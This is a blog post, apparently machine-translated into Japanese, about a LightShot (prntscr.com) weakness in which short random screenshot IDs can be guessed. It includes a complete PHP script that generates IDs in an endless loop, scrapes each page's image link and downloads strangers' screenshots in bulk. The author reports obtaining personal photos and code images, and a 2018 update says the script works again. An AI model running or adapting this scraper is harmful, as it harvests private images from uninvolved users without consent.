
今日、LightShotのインスタントスクリーンショットのサービスの「脆弱性」に出会いました。
それはすべて、私が別のスクリーンショットをアップロードし、ハブに関する最近の記事を思い出したという事実から始まりました。ユーザーデータは総当たりでリンクによってマージされました。
URLの1文字を変更しようとして、他の人のスクリーンショットが親切に渡されました。
始めるために、 http://prntscr.com/1npf9nのようなリンクを生成するマスクを見つけようとしました。
いくつかの実験の後、私はマスクがprntscr.com/1 [a-z0-9]の形式である可能性が最も高いことに気付きました(数字1が4〜5個のランダムな文字から来た後)
また、 http://prntscr.com/loginとhttp://prntscr.com/adminのリンクも試してみました。これらのスクリーンショットも見ました。
ほとんどの場合、アルゴリズムがわずかに書き直され、現在のリンク生成アルゴリズムは、すべての組み合わせを使い果たして、リンク長が7文字に増加するか、マスクがprntscr.com/2[a-z0–9]になるように設計されています。
その過程で、サービスの1つの機能を発見しました。サーバーに画像を保存するのではなく、 imgur.comおよびimageshack.usの APIを介してアップロードします。
私は好奇心に悩まされました:「すべてのスクリーンショットをダウンロードすることは可能ですか?」
そして、小さなスクリプトを書くことにしました。 最初はPythonで書きたいと思っていましたが、作業中のラップトップにはインストールされませんでしたが、DenwerとPHPが手に入りました。
急いで5分で書かれた私のコードのために私を蹴らないでください。 彼はかなり働いています。
<?php set_time_limit(0); // ob_implicit_flush(); function random_string($length) { // $chars = "abcdefghijklmnopqrstuvwxyz1234567890"; // $numChars = strlen($chars); // $chars $string = ''; // for ($i = 0; $i < $length; $i++) { // $string.= substr($chars, rand(1, $numChars) - 1, 1); } return $string; // } function get_http_response_code($url) { // http $headers = get_headers($url); return substr($headers[0], 9, 3); } if (!file_exists('lightshot_images')) { // , mkdir('lightshot_images', 0777); } $options = array( 'http' => array( 'method' => "GET", 'header' => "Accept-language: en\r\n" . "User-Agent: Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.102011-10-16 20:23:10\r\n" ) ); $context = stream_context_create($options); while (1) { $randstring = random_string(5); // $htmldata = file_get_contents('https://prnt.sc/m' . $randstring, false, $context); // preg_match_all('/<meta name=\"twitter:image:src\" content=\"(.*?)\"\/>/is', $htmldata, $img_url); // url if (strlen($img_url[1][0]) > 1) { // , 1 - $imgs = str_replace('//st.prntscr', 'https://st.prntscr', $img_url[1][0]); $localname = array_pop(explode('/', $img_url[1][0])); // (.. imagename.png) $localpath = "./lightshot_images/" . $localname; // . if (get_http_response_code($imgs) != "200") { echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'>404. " . $imgs . " :(</span>"; } else { file_put_contents($localpath, file_get_contents($imgs, false, $context)); // , curl, echo "<span style='color:green;display:block;margin-bottom:10px;font-size:14px;'> - " . $localname . " , url - http://prntscr.com/m" . $randstring . " , " . $imgs . "</span>"; } } else { echo "<span style='color:red;display:block;margin-bottom:10px;font-size:14px;'> http://prntscr.com/m" . $randstring . " </span>"; } } ?>
ブラウザで実行した結果(ご覧のとおり、生成されたランダムリンクの〜95%がスクリーンショットを提供します)

その結果、たくさんのスクリーンショットをアップロードしました。その中には、個人の写真、コードのスクリーンショット、その他多くの興味深いものがあります。
UPD 2018: lightshotで発生した変更を考慮してスクリプトを修正しました。 今では再び動作します。